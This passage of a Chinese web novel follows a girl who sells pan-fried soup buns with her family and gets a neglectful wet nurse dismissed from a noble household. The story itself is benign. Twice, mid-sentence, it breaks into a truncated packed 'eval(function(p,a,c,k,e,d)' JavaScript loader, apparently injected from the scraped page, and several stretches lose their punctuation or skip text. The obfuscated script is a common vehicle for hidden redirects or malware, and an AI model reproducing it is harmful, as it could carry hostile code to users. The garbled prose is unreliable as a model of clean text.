不然会漏汤。 二丫认真看着，点了点头。 包子小，两斤肉三斤多面就包了好些，水煎包做不大，太大不易熟，而且样子也不好看。小小的一颗咬破包子皮吸汁，好看还好吃，一大只咬破了，容易弄脏手，汤把包子皮浸破了，还撒的哪儿都是。 后头都是二丫在包，崔如英在锅边煎。 崔家是没平底锅的，大锅勉强能用，灶膛烧小火，崔如英怕包子糊了，小心看着，不过第一锅还是有点火大。 二十多个出锅，切好的葱花也派上了用场，上面撒了一把，热气激出葱香，包子褶儿那面金黄，皮儿煎得上面透了层油光，最上头一把绿色葱花好似翡翠上的碧色飘花，样子好看极了。 包子装到盘子里，二丫看着，都舍不得吃，她不禁道：“侯府吃的东西就是不一样，样子都这么好看。” 崔如英道：“要是家里有芝麻就好了，放些芝麻更香。” 这锅包子煎过了，没法卖，不过能让客人尝，觉得好吃就买。 崔如英给二丫夹了一个，四郎五郎都给了，自己也吃了个，“姐，先咬皮，小心烫。” 二丫没吃过，但听着妹妹的话很小心地咬了一口，可是包子刚出锅，还是不可避免地被烫了一下。 舌尖发疼，可包子的鲜香味已经吃到嘴里了，二丫看着小口里面的馅儿，惊呼：“怎么这么多汤啊！” “生煎就是这样，不发面才能包住汤，不然全浸到包子皮里了。”崔如英尝了尝咸淡，口味倒是适中，包子褶儿那儿酥脆，包子皮儿软软的，馅儿也好吃，最重要的是汤汁鲜美，加了猪皮冻的汤还更粘稠。 她赶紧把其他包子给煎上，这一忙活，都到申时了。 煎好的包子放在铺着油纸的木盒子里，等挑过去估计没现在好吃，但新鲜东西总有人尝尝的。 崔大山不放心，嘱咐姐妹俩天黑之前快点赶回来，“别乱跑，卖不完就回来，咱们家当晚饭！” 中午刚吃的鸡肉，四郎五郎尝着包子，一人只尝了一个，小孩子懂什么，盼着崔如英卖不完回来吃。 这个包子更好吃，比酱肉包都好吃，两人都忘了，第一次吃酱肉包，也是这样欢喜。 崔如英满口应着，带着二丫去城东了。 崔家家住城南，一直往东北走就是，城南这边没停，一直向东走，走了有一会儿，崔如英便发觉出不同来。 这边房子的确大，两进三进的都有，路上行人穿得也好，干净体面不说，街上女子多戴着首饰。 铜的银的，各式各样，街边铺子也多，显得更热闹。 二丫没来过这边，也没出过远门，爹娘不在身边，心里难免有几分害怕，可是妹妹都不害怕，二丫就在心里给自己壮了壮胆子。 看这边有人，崔如英就开始吆喝起来了，“包子包子，崔记的生煎包，能喝汤的肉包子，都尝尝能喝汤的肉包子！” “先尝后买，不好吃不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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崔如英拿油纸装了四个模样好的，又给包了个火大的，“婶子尝着好吃下回还来。” “你这小娘子，行，以后还照顾你生意。” 二丫已是目瞪口呆，就见崔如英把钱一收，“姐，走了。” 一边走一边卖，这边又卖了八个包子，崔如英就不着急了，有人买包子就证明能卖出去，这边有钱人的确多，这样小的包子，若是在城南指定没人买，但是这里就舍得钱尝尝。 一边走一边喊，崔如英跟二丫说：“我先卖两天，到时候你们再过来就好卖了，价钱就定下了，不能变，这个不好做。” 生煎费事儿，吃的就是一个精字，大肉包是便宜，可不是这个味道。 二丫点点头，她觉得妹妹真厉害，嘴巴好使，这都能卖出去，而且还惦记着家里。 崔如英继续喊，很快又有人过来问，这回是个头发花白的婆婆，凑过来问崔如英包子怎么卖。 崔如英道：“三文一个，十文给四个。里面有汤，得咬开小口慢慢喝，觉得凉回去可以拿锅煎煎，婆婆你先尝一个吧。” 婆婆吃得慢，吃完点点头，她看着包子小，说道：“给我来二十文的。” 两人出来许久，还是第一次有人一次买二十文的，二丫压住嘴角，低着头装包子，崔如英数了数钱，正好二十文。 她把钱收好，琢磨了一下，问道：“婆婆，我跟你打听个事儿成不？” 婆子一脸狐疑：“啥事儿？” 崔如英道：“婆婆，你知道这边住着的陈娘子吗，人挺高的，有些胖，给大户人家做奶娘的。” 第 21 章 偏心 第21章偏心 不比以后邻里邻居一年说不上几句话,如今家家户户住得近，邻里亲近，隔着院墙而已,谁家发生什么事儿自然知道。 这个婆婆看着年纪大,城南崔家住着的巷子里,大爷大娘都爱在巷口坐着说话,想来这婆婆知道的也多。 婆婆看了崔如英几眼，问道：“你打听陈娘子做什么？ 这就是知道了,崔如英笑着道：“我娘刚生了个弟弟,不过奶水少，所以我们姐妹俩想多赚点银子补贴家用，看能不能给弟弟找个奶娘。都说陈娘子性子好，所以来打听打听。 婆婆摇了摇头，“想请陈娘子还是歇歇吧，她总去大户人家,一般人家请不起。以前是性子不错,尽心尽力,不过自打生了个儿子,心思全放在儿子身上了。算了算了,不说了……二十文你数数对不对 崔如英飞快数完，又问了句：“婆婆，你可知陈娘子的儿子比女儿大多少？ “不到一年吧。婆子把包子放到篮子里，就颤颤巍巍地回去了。 等人走后，二丫好奇道：“三丫,陈娘子是谁？ 她家哪儿来的刚生的弟弟,而且,娘不也当奶娘去了吗。 崔如英也不知道该怎么跟二丫解释,一岁不到，那陈娘子儿子岂不是也没断奶。 刚刚的婆婆说陈娘子心思全放在儿子身上……若是她本本分分做事，偶有偷懒耍滑也无伤大雅，毕竟许娘子也忧心六丫，谁管她疼哪个回家喂哪个。 但若是为了她儿子，每每白日回家，舍了女儿不说还晚回来睡不好，还得让许娘子多费心，那凭什么，都拿的三两月钱。 来做奶娘必然要舍得家里的孩子，崔如英不是闷声吃亏的性子，一直这样她不会答应。 许娘子所说算不得错，能和气生财用不着撕破脸皮，但也有人，你越退一步她越踩着你的脸上去。 崔如英道：“陈娘子也是一个奶娘，好啦好啦，快卖包子，爹还等着呢。 崔如英打算明儿自己再去陈娘子家看看，到底喂没喂，千万别误会了。 二丫一听卖包子，心里顿时澎湃起来，这么小的包子，竟然卖三文一个，十文四个也比酱肉包贵呢，这回得赚多少钱。这已经卖了二十个包子了，就是五十文，买这些肉多少钱二丫不知道，但她看见崔大山给妹妹数了二十个铜板。 她们包了七十多个小包子，那得好多钱呢。 二丫在心里使劲儿算，也没算出个所以然来。 要让崔如英算她也算不出因为包子十文给四个要是只想尝尝那就只能三文一个买大多数人觉得十文四个合适但也有舍不得的。 从太阳西下到太阳落山姐妹俩把城东绕了大半儿。 崔如英想把包子卖完再回去二丫看着赚钱高兴也不催妹妹往回走。天黑了就剩最后两个崔如英给二丫了一个“姐饿不饿？” 过来扁担都是二丫挑着走这么远肯定又累又饿但二丫摇了摇头“我不累明儿我还能来……你你啥时候回侯府呀？要不就别回去了。” 一块儿卖包子多有意思呀。 要是侯府不好崔如英也想干脆在家卖包子算了赚得多何乐不为可是陆云蓁答应她能读书到时候还能改名字。 不管在哪儿读书都是有用的况且繁体字也要学她还不认识不会写这边的字呢。 再说了让许娘子一个人在侯府她也不放心。 崔如英说道：“我又不是不回来了你看我不总回来吗。下回回来了给你带好吃的。” 二丫点了点头“人常回来就行吃的不用了。别总拿人家的东西人情不好还的而且家里吃得也挺好今天中午炖鸡真好吃。” 二丫慢慢吃着包子崔如英饿了两口就把包子吃完她颠了颠钱袋子水煎包费事儿味道好价钱也更贵所以赚得会更多。 天已经黑透了崔如英倒是不怕因为京城夜里有巡逻的但她怕崔大山着急念叨“时辰不早了二姐咱们快点回去吧。” 二丫这会儿才发现天已经这么黑了平时家里因为早上要出摊儿所以睡得都可早了。 都这么晚了呀她赶紧把包子塞嘴里挑着空了的扁担跑得飞快。 * 城南贫苦巷子里亮着油灯的人家不多崔家算其中一个。 早两年家里舍不得灯油钱加上天黑了也不干活就着月光梳洗然后早早就躺床上。最近家里有些钱崔大山又等女儿就把油灯点上了。 家里亮着灯知道家在哪儿。 四郎五郎和六丫都睡着了崔大山已经去巷子口望了两次崔大郎道：“爹我再出去找找。” 崔大山：“别去了等一会儿回来了你又不知道去哪儿了还得错开。明早还得出摊儿你先睡觉去。” 崔大郎摇摇头“还早呢再等会儿吧。” 妹妹们还没回来 姐妹俩是 一路跑回来的气喘吁吁不说扁担挑着的篮子盖儿都要飞出去了。崔如英捂着钱袋子生怕发出响来。 跑进巷口俩人才慢了下来远远看到崔家门口探出一个脑袋崔如英眼睛一亮禁不住喊了声大哥。 崔大郎往外迎了迎少年皱着眉头越发显得老成“怎么这么晚才回来这天都黑了也不看看什么时辰那东西卖不出去就卖不出去……” 崔大山闻着动静也出来了他道：“这出去也不看着时辰天都黑透了还不知道往家跑你们两个姑娘家在外头跑啥跑包子卖不出去就卖不出去以后可不能这么晚回来了。” 要是出了啥事他咋和许娘子交代。 崔如英抿唇笑了笑对着两人晃了晃钱袋子“爹都卖出去了。” 崔大山一愣拽着两个女儿进屋崔大郎把扁担接过来人都进去后把门闩插上。 崔大山压着声音“都卖出去也不能这么晚回来看看这都啥时辰了……” 崔如英道：“我和二姐是为了谁呀爹你就别念叨了我俩还没吃饭呢就剩了两个包子一人吃了一个那么小肚子都快饿扁了。你看二姐更辛苦二姐都没让我挑扁担。” 二丫赶紧道：“包子都是三丫张罗着卖的我都没干啥。” 二丫性子老实有一说一她的确没干啥都是三丫张罗卖包子跟人讲价嘴甜说话好听包子卖了还把人哄得高高兴兴的。 而且包包子时她也就和了面馅儿还是三丫弄的肉也是三丫买的一共包了七十多个不过第一锅糊了好在第一锅少能卖出去的还有六十多个。 崔如英道：“谁说的二姐帮了好大忙呢要是我一个人肯定不成。” 二丫腼腆地笑了笑这回没说什么 崔大山也不知道怎么说这俩孩子“那也不能这么晚回家行了我给你俩热饭去。” 说是热饭就是热热晚上家里吃的红薯毕竟中午才吃的鸡肉。 崔大山看两个女儿跑得一头汗又去厨房拿了俩鸡蛋给煮上了。 崔如英招呼二丫去屋里看钱袋子俩人都没用崔大山帮忙先数个钱怎么了。 十文十文地数先数出二十文来这是崔大山给的本钱又数了二十二文面粉三斤多得算二十二文。 算上别的本钱差不多在四十二文。 钱袋子沉甸甸的崔如英数得快一共一百五十九文钱。 她拿了 三文给三丫，自己拿了六文钱，二两银子没了，加上这个手里也就二十文。 二丫看着手心的两个铜板，神色透着些许慌张，“三丫？ 崔如英道：“拿着买头花去，二姐你戴绢花可好看了。 二丫喜欢头花，但就一支宝贝得紧，就白日戴戴，今儿出门还把头花摘了。 她小声道，“这样是不是不太好？ 崔如英看着二丫的眼睛，道：“姐，没啥不好的，咱们又没偷没抢，况且本来今儿该在家里吃红薯，啥钱也赚不到的。你挑了那么久的扁担多累呀，这是你赚的，该拿的，偷偷留着，也别告诉娘。 二丫看了眼外头，崔大郎明儿还得出摊，睡得太晚明早起不来，这会儿已经睡觉去了。崔大山正在厨房给俩闺女煮鸡蛋，六丫和五郎在床上睡得香甜，二丫用力点了点头，也不在乎妹妹比自己多拿几文。 崔如英觉着今儿赚得不少，要是有平底铁锅，更好做。 生煎包能有六七成的利润，若非崔如英把第一锅煎糊了，赚得还能更多。 把钱袋一收，崔如英直接放到柜子里，她去厨房告诉了崔大山一声，“爹，我俩一共拿回来一百五十文，全放柜子里了。 崔大山一愣，“这么多？ 不怪崔大山惊讶，他们早起买六斤肉，十二三斤面，蒸十二屉包子，能赚二百来文，这就不少了，可他才给三丫二十文。 卖一个晚上，才两斤肉，这就一百五十文？ 崔大山道：“有这么赚钱呢，不然咱们早起也卖这个？ 崔如英道：“那不成，城东的人有钱买得起，在城南不成。明儿下午我再去看看，要是能做下去，爹你和二姐晚上也跑一趟。 崔大山：“明儿我跟你一块儿去。 崔大山不怕累，大男人怕什么累，能赚钱就成。俩闺女他放心不下，他跟着去成，晚点就晚点。 崔如英没拒绝，打听陈娘子家是其次，赚钱才是要紧事。 若是家里一天能赚三四百文甚至更多，一个月也有十几两银子呢，盘铺子就指日可待了。 鸡蛋差不多好了，崔大山招呼两个女儿吃鸡蛋。 这还是刘婶儿拿来的呢，崔如英把鸡蛋剥开，雪白的蛋清，橙黄色的蛋黄，家里养的鸡，都是各家孩子抓虫子喂的，鸡蛋也更黄一些。 二丫饿得很，又吃了块儿红薯，口袋里存了钱，一开始还有些不习惯，可崔大山什么都没问，她就安心了。 这钱可以拿来吃早饭去，还能 买绢花，绢花真好看呢。 崔如英吃完就去梳洗了，也不知道侯府什么样，陈娘子今儿有没有回去。许娘子性子软，千万别受欺负了。 这才三月十九，崔如英看外面月亮已经不圆了，崔大山还在外头收拾，次日一大早，她又是听着剁馅儿的声音醒的。 她不想早上还去卖包子，就翻了个身继续睡，再醒的时候家里只有二丫和小妹。 四郎一大早就带着五郎出门了，可谓是带弟弟抓虫子两不误。崔大山和崔大郎去卖包子，二丫就在家里看着妹妹。 两个妹妹呢。 二丫见妹妹醒了，说道：“锅里给你留了包子，灶膛里还窝着红薯呢。 等崔大郎回来，就能去喂六丫了。 崔如英点点头，拿杯子去井边洗脸刷牙，长大一圈小鸡在笼子里叽叽喳喳，一大早就怪热闹的。 梳洗过后她把早饭吃了，包子是才蒸出来的，味道还和原来一样，崔如英最喜欢的是浸了汤的油皮，许久不吃就觉得香得很。 又吃了半个烤红薯，冬天留下来的红薯糖分足，吃起来跟蜜一样甜。 剩下一点红薯尾巴崔如英就直接扔在鸡笼子里了，长出毛的小鸡一窝蜂涌上，崔如英心里盘算着，怎么也得再养几个月才能下蛋，家里有钱了，可以多添置些东西。 鸡蛋鸭蛋，都是好东西。 屏风在太阳下晒得发亮，崔如英最迟明儿早上就得回去，她回过头，正见二丫抱着一盆衣裳从屋里出来，一直走到井边，“三丫，你把衣裳换了，一会儿我给洗了。 崔如英笑着道：“姐你真好，咱们下午还做包子，我保准给你教会了。 二丫点了下头，“下午咱们还去城东？ 崔如英：“先把那边绕熟了，等下回我回来再去城西。今儿爹也一块去，你俩一块儿走，记得多喊喊，不能一句话都不说。 二丫性子老实，崔如英不禁想，幸好她没坏心眼儿，不然二丫准得吃亏。 二丫低下头，“我得试试才行，不过我会试着喊的。 崔如英：“包包子也得学好了。 她觉得半天差不多，上次教家里包酱肉包虽然用了两天多，可做包子越来越熟稔，这个还不用发面，只需要在熬馅儿和煎包子上费心，不需要从头教起。 辰时，崔大山和崔大郎从外面回来，崔大郎还得和二丫一起带妹妹去喝奶，今儿也给那家带了几个肉包子，希望六丫能长久地喝下去。 崔大山手上还有一堆活儿，崔如 英不在家中时，日子就是这样的。 四郎带着弟弟玩儿，顺便能把家里的鸡给喂了。大郎二丫照顾妹妹，还得包包子卖包子，崔大山把包子摊儿的活揽了大半，刷锅洗蒸屉，都落在他身上。 很快就到了中午，崔如英顺手把中午饭做了，家里不会顿顿吃肉，再加上昨晚刚吃的炖鸡，还剩点菜，就烙了不少饼，再用剩下的肉汤炖了一锅白菜土豆。 简单吃完，一个下午谁都没睡，崔家灶膛的火根本没停过，全围着做生煎包，光猪皮冻都不知熬了几锅。 直到不用崔如英帮忙，三人能做出一锅像模像样的生煎来，这才算成了。 一个下午崔如英只管教，到后头只管尝，这锅出来，崔如英点了点头，“味道还不错，照着这个来就成了。爹，天热了生煎不好做，到时候我再想办法换别的。 天热不成冻，虽然按照酱肉包做出来也有汤，但是味道不够好。这个卖得贵，味道绝对不能差。 崔大山点点头，卖吃食，稍微哪里做不好就不能往外卖，今儿包子煎了不少，可前头的不能卖出去，崔大山能尝出最后一锅最好吃，但别的也不差，不过女儿说啥就是啥。 煎出来的生煎有好几盘，崔如英让二丫去刘婶儿家一躺，送一锅去，刘娘子帮家里太多，尤其是带着六丫去喂奶，这是大恩情，不是送几回东西就能还清的。 二丫给自己鼓了鼓气，不过到刘娘子家，还是忘了说好听的，飞快把包子放下，连盆都忘了拿，最后还是刘娘子追了出来，才把盆带回来。 二丫到家的时候，崔大山和崔如英已经把包子放在扁担里了，今儿做的多，崔大山挑个大的，给二丫留了个小的扁担。 崔如英没嘱咐别的，就把价钱嘱咐清楚了，“一个三文钱，买四个给十文，但不能买两个给五文，以后也是，价钱不能变，包子味道不对千万不能往外卖，更不能卖隔夜包子。 说到最后崔如英又补了一句，“爹，等咱们包子摊儿做大做强，到时候这生煎可是招牌，现在可不能砸了招牌。 崔大山把这话放心上，“放心吧，卖不出去带回去自家吃。 家里都爱吃这个，酱肉包吃腻了，但这个还新鲜着。 这个包子，他一口就能吃一个，跟饺子似的，真要敞开肚子吃，五十个都不够他吃的。 到了城东，崔如英跟着两人走了一会儿，卖出去几份之后她就让二丫跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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院子里的小娘子还在洗衣裳一声不吭的崔如英抿了抿唇绕了一圈从巷子另一头出去她说不上心里是什么感觉但若崔家也这样她肯定受不了。 陈娘子疼儿子可女儿也不能放着不管啊可是陈娘子若丢了活儿对女儿或许更差。 崔如英家里也有妹妹虽然她对六丫不够好但也是妹妹妹妹哭了她也不会看着不管。 若是陈娘子本分她不打算再理会这些事。 家家有本难念的经这话真没错。若是陈娘子回家喂女儿她 或许还高看一眼。 把包子卖完崔如英就回分开的巷口了，等了好一会儿崔大山和二丫才回来，他俩卖得慢一点，不过好在是卖完了。 崔大山的脚步比来时轻快多了，他没想到还真能卖光，卖得不算快，但都卖出去了。虽然今天做坏了好几锅，但剩下的也够赚的了。 早晚都能做生意，家里的日子肯定红红火火的。回去的路上崔大山也没发现女儿心情不佳，只问崔如英：“明儿就得回侯府了吧？” 崔如英：“明天早上等你卖完包子走吧，连着屏风一块带过去。” 崔大山：“要不吃了中午饭再走。” 他转念一想，在侯府吃的比家里还好，要想做好吃的还得崔如英做，“算了，还是早点回去吧，你娘也能放心。” 崔如英点了点头，“要是累了，下午就别来卖包子了，身体最要紧，可别给身子累垮了。我和娘在侯府吃得好，你们在家也别省吃俭用的，赚了钱你要是总存着，财神爷就会觉得你只进不出，后头就不让你赚钱了。再说了，你们吃得不好，我和娘在侯府还得惦记着。” 崔大山诧异道：“财神爷还管这事儿？” 崔如英道：“做生意甭管卖什么，铺子哪怕再小，也得供奉财神。爹，我说这些，不是跟你说财神，而是慢慢来，身子最要紧。” 崔大山笑着道：“你们年纪小受不得累，但爹可不怕，这可比做木工活儿轻巧多了。” 做木活的时候要弯腰，一弯腰就是一个多时辰，又疼又麻。再说了，卖包子赚的也多。要是按一个月五钱算，做木工一年都顶不上卖包子一个月。 崔大山啥都不怕，可家里孩子不见得，多弄些肉菜吃能长得高一点，壮一点。 崔大山看看两个女儿，差三岁的，可三丫没比二丫矮多少。 崔大山道：“明儿我再换点鸡蛋去，以后隔个三五日就吃顿肉，你可得告诉你娘，千万别担心家里，六丫挺好，胖了不少呢，叫你娘别想她，等天再暖和点儿，我抱过去给她看看。” * “六丫真胖了？”许娘子白日看璋哥儿，晚上跟陈娘子换过后才有空闲。 崔如英道：“那可不，这还能有假，胖了也白了，总想抬头呢。” 她是上午回来的，崔大山只能送到侯府门口，是小厮把屏风抬进来的。 回来之后她跟李嬷嬷说了一声，中午吃了饭，却一直没见陈娘子，想来是回家了。 崔如英吃过饭后陈娘子才回来，看见屏风没说什么，慢悠悠把午 饭吃了这才睡下。睡得晚自然起得也晚小公子出生也有几日了这回是第二回起晚了。 还是因为前两日她不在晚没晚她也不知道。 梳洗吃饭每次都能耽误半个时辰这样许娘子就得多看半个时辰。 不过许娘子感激陈娘子让她夜里睡别看今儿多留了却不在意这些。 在门口时陈娘子像那日一样说困得不成样子劳烦许娘子多看一会儿。许娘子甚是体谅还道：“夜里不合眼更累些没事儿睡得好才能喂好小公子。” 崔如英气得懒得听这些。 说完话许娘子往屋里一看看多了个屏风就知道女儿回来了更是欢喜。 这屏风也是不错跟着中间隔的一扇把屋里分成了两间进门之后陈娘子还和原来一样往右边走崔如英和许娘子往左边绕一下就成了。 崔如英心里恼火却笑着把家里事儿挑拣着说了说先说了说六丫许娘子一听女儿胖了眼角都露出笑纹了“还是喝奶长得快可得给人家拿些东西。” 崔如英道：“拿过鸡蛋也拿过包子每次去都不会空着手娘你就放心吧。” 许娘子点了点头别的她就不操心了。 许娘子也是刚轮换这会儿还没吃饭等秋月送来饭食母女两人一边吃一边说话。 崔如英差点把最要紧的事儿给忘了她道：“我回家这两日看爹跟大哥下午都闲着就去城东卖包子了做的水煎包跟早上的酱肉包不太一样味道更好 “这样家里也能多攒点银子大男人不怕累的。”许娘子笑着道“等喂养过小公子咱们也能回家帮衬。” 崔如英道：“到时候攒下钱了可以盘个铺子不然阴天下雨都做不了活儿。” 许娘子没想过这些轻轻应了声“这个以后再说吧。” 至于陈娘子崔如英也没问许娘子的性子软和好说话就算迟了也不会说什么恐怕还因为陈娘子夜里照顾小公子过意不去。 原想着偶尔一次也就算了结果还是这样。她娘好欺负她可不好欺负。 吃过饭后崔如英催许娘子快点儿去睡觉。 等许娘子睡熟了她拿着衣裳把屏风的两边都挡上省得天亮了透光。 陈娘子晚过几次她娘晚个一两回算不得事儿谁还没个睡过头的时候。 次日天色有些阴暗崔如英心里装着事儿醒得早一旁陈娘子许是白日累 第 22 章 被赶出府 第22章被赶出府 陈娘子一听哭都顾不得了,指着崔如英道：“崔小娘子你不仅胡说八道还恶毒得很呢,这种事都随意编排。我做这么多年奶娘还能不知道,出来做事,万不能回家喂自己孩子,省着照顾不好小公子。 我每每回家都和李嬷嬷说清楚是不放心家中,怎可能回去喂孩子。崔小娘子若是不信,大可不去看看我那女儿可怜啊每日都吃米糊糊瘦弱不堪我若回去喂她一次便天打雷劈,不得好死！三娘子,求你为我做主啊！” 陈娘子眼眶通红,举着手指诅咒发誓,陆云蓁心里有些许动容,若真如陈娘子所说那的确是误会一场。 做奶娘轮换着来是为了避免太累照顾不好孩子并非方便回家喂自己孩子的毕竟每个月三两银子外加赏钱可不少,做得好每个月能拿五六两呢。 除此之外,府上吃用也是一等一的,虽然围着孩子转,可是孩童尤其在幼时大半时间都在睡觉照顾的时间算不上多除了要一直看着其余都是小事。 来大户人家做奶娘委实算得上轻巧省心的活计最重要的是拿的银子多。 若不尽心怎对得起这大把银子。 故而虽然没有明文规定可既然选择了做奶娘就要舍了自己孩子所以许娘子只是托人带着六丫去喝奶。 不然自己的娃喂着身子靠府里样子银子还拿着天底下哪儿有这样的美事儿。 陈娘子痛骂崔如英：“三娘子你瞧她安的什么心！肯定是许娘子说的我好心为她才夜里照顾她却这样栽赃陷害于我我家中女儿弱小不堪 陈娘子声泪俱下很是可怜。 崔如英在一旁站着明明才几岁大倒显着有几分咄咄逼人来。 陆云蓁道：“锦月你先扶陈娘子起来。陈娘子一个孩子童言无忌说话而已你莫要放在心上……” 若真如陈娘子所说陆云蓁只想大事化小小事化了。 毕竟迟了也是真的日后就轮换着来也省着许娘子辛苦。 崔如英见这就要了事赶忙道：“三娘子还请听我说完。” 她转头看向陈娘子“我何时说过你回家是喂自己女儿了若是喂女儿我倒觉得情有可原毕竟母亲爱子之心人尽皆知。我娘也总担忧我妹妹白日就算喂 个一两次又有谁会计较。偏偏你喂的不是女儿我才觉得你让人深恶痛绝。因为生了女儿才来做奶娘拿着银子欺负我娘就为了你儿子。” 崔如英抿抿唇道：“三娘子有所不知陈娘子做奶娘数年也算尽心尽力不过这是之前。陈娘子此胎生的是女儿上一胎不负众望终于生了个男娃想来那次并未出门做奶娘一心一意照顾自家孩子。巧不巧她的儿子与女儿相差不足一岁至今尚未断奶。” “前两日我回家卖包子碰巧路过城东 陈娘子发誓了也的确没喂过自己女儿可把女儿当什么了？ 崔如英说完在心里叹了口气她本来是不想说可阴差阳错到这地步她若不说就算她娘没事儿陈娘子必然想方设法把她赶出去。 走也无所谓可留许娘子一人在这儿崔如英不放心。 再说了错的又不是她凭什么她走。 陈娘子仰头看着崔如英心里一紧赶紧对着陆云蓁道：“三娘子她……她胡说！三娘子一定不能信黄口小儿的话啊三娘子！” 陆云蓁如今听了这些话心里既诧异又气愤。 其实陈娘子回去喂孩子李嬷嬷知道陆云蓁大概也清楚几分喂个一两次也无伤大雅可这般为了儿子舍弃女儿让陆云蓁如何能相信陈娘子不会为了自己儿子舍了璋哥儿。 好吃好喝还给着月钱绝对不能养出来狼子野心来。 而且这还是大房牵线找的人陆云蓁本就用得不放心。 陆云蓁身坐高位微低着头看向陈娘子情急之下陈娘子都忘记哭了“三娘子千万别信这些日子我尽心尽力怎可能做出那档子糊涂事啊定时许娘子嫉恨于我才……” 陆云蓁温和一笑“李嬷嬷你去城东打听打听打听清楚了回来。” 陆云蓁让锦月扶陈娘子起来安抚道：“你放心我已让人去城东打听若是误会一场一定还你个清白。” 陈娘子身子有些抖本来一个晚上没怎么合眼身子就吃不消这会儿心里紧张眼前一阵阵发黑。 腿脚一软差点又跌坐在地上好在锦月就在她身边及时给扶住了。 锦月道：“陈娘子当心些。” 燕归堂的丫鬟不说阅人无数可 最善察言观色，揣度主子们的心意，单看陈娘子的神情，哪能不知她心里有鬼。 陆云蓁也瞧出来了，刚才还言之凿凿，现在头冒虚汗，俨然是心里有鬼。 不过事无定论，陆云蓁不想现在就撕破脸皮，就好言好语地说着。 陈娘子手在发抖，这会儿自是不容她回去通气儿，只盼着家中婆婆能机灵点，若能过去，她一定把许娘子母女都赶出去。 可若是过不去，从安定侯府出去，她日后还能做奶娘吗。 想起这个，陈娘子出了一身冷汗。 她盼着啥都查不出来，可是崔如英都能打听出来的事儿，李嬷嬷活了这么多年，怎么可能察觉不出。来去很快，不到半个时辰李嬷嬷就回来了。 的确如崔如英所说，陆云蓁挥挥手，让人送陈娘子出府。 李嬷嬷跟陆云蓁禀告，“那女娃娃的确可怜，瘦瘦巴巴的，说是两个多月了，可跟小只猫似的。” 李嬷嬷有些不忍心，这陈娘子回去，怕不是要把这事怪罪到她女儿身上。 那么大个孩子，能不能活下来都不知道。 陆云蓁长叹一口气，她也是做母亲的人，哪里知道其中还有这样的隐情。 陈娘子肯定在侯府待不下去了，从前就不喂，回去之后还指望她喂女儿吗，那孩子也不一定能活命。 她想给儿子积德，就问：“你去同陈娘子说，买过来也好怎样都好，先在府里先养着吧。” 李嬷嬷行了一礼，“老奴这就去。” 既然出府，行李也得带走。 崔如英是听着屏风那头收拾东西的，陈娘子收拾了许久，隔着屏风，她看不见那边，陈娘子也看不见这边。 说实话，崔如英心里也有点愧疚，可不是你死就是我亡的架势，她总不能把许娘子的活儿给弄丢了吧。 那边收拾好之后，陈娘子就离开侯府了，燕归堂只剩许娘子一个奶娘，后头的事自然有陆云蓁操心。 奶娘肯定还得再找，如今璋哥儿还小，有两个丫鬟帮衬，许娘子一人也忙活得过来，撑个几天，想必那时已经找到新奶娘了。 现在许娘子怕还不知陈娘子被赶出府的事儿，崔如英虽愧疚，但不后悔。如果长此以往，陈娘子肯定更嚣张。 而陆云蓁那边，崔如英也没想好该怎么解释，一个孩子，说这些会不会太过了。 好在陆云蓁没有再问什么，等到中午，秋月来送饭，除了饭菜还有点心。 秋月道：“三娘子怕你受惊，送来些点心， 给你压压惊晨起的事儿你别害怕。” 对陆云蓁来说这是件好事儿总比日后再发现强。 再说还能借此事去钱夫人那儿给大房上上眼药陆云蓁反而觉得多亏了崔如英不然也发现不了。 这么大的事儿秋月竹月照顾小公子也有几日了陈娘子起晚数次竟然也不禀报一人罚了一个月月例。 秋月平日也为难许娘子脾气好也不计较她们若多事反倒不好。 如今了了事秋月心里也松了口气。 一个月月银而已本来此事也是她们不对。 少了个奶娘最该知会的就是许娘子中午的时候陆云蓁趁璋哥儿午睡将此事告知了许娘子。 许娘子还为陈娘子求情说夜里累起晚一些也是常事 陆云蓁发现许娘子性子是真软说是好脾气可内里有些傻别人欺负到了头上还不知道。 这样的性子陆云蓁是不喜的许娘子也不想想陈娘子这般偷懒最后是对照顾璋哥儿不尽心。 一个做奶娘的不尽心做事许娘子还为她遮掩。 不过好在许娘子老实身边又有崔如英在不会因为心软犯大错。 崔如英下午睡了一觉醒的时候李嬷嬷跟她说陆云蓁请她过去说话。 洗了脸把头发重新梳了崔如英这才过去。 陆云蓁披了衣裳在贵妃榻上坐着脸上带着淡笑对崔如英道：“今儿的事还多亏了你吓坏了吧尝尝点心好不好吃。” 别人家这么大的孩子恐怕早吓哭了崔如英还能分辨几句也是不同寻常。 崔如英摇了摇头“就怕给三娘子添麻烦。” 陆云蓁：“什么麻烦不麻烦的若一直由着她这般猖狂那才是大麻烦。” 本来也担心着这是大房介绍来的人如今赶出去也是大房面上无光。 崔如英点了点头来做奶娘照顾好小公子就是该做的没尽好本分被赶出去也是没办法的事。 她问道：“那还会再寻奶娘吗？” 陆云蓁：“总得再找一个轮换着来不然你娘一个人也顶不住。” 大户人家照料孩子精细万一许娘子有个头疼脑热总不能让孩子饿着。 崔如英：“三娘子说得也对早点找到也省着你一直为这些事操心。” 陆云蓁都是把这些事交给锦月李嬷嬷她们自己费不了太多心思的总之这事儿也算过去了她现在心里畅快 着呢。 本来她也想见崔如英一面早上看她一个人被拽过来又有陈娘子在也没细问什么这回家一趟就是好几日她问道：“你呢回家一趟家里一切可好？” 崔如英实话实说“现在早上生意很稳当一天能卖出十二屉呢就是白日我爹和大哥闲着所以琢磨着下午在家中煎包子去城东卖生煎。三娘子想尝尝不？我做给你尝尝。” 陆云蓁道：“和那日一样的煎包子吗？” 崔如英摇摇头说实话水煎包只能是讨个巧 崔如英卖了个关子“三娘子时候你尝了就知道了。” 陆云蓁有点等不住不过还是说道：“这还早着呢不急着弄你尝尝点心着好吃就拿回去慢慢吃。” 中午就已经送过来两盘点心了这哪儿吃得完“三娘子我尝一块就够了屋里还有呢。” 崔如英拿了块枣泥山药糕尝尝糕点吃着甜甜软软的嘴里全是香气。 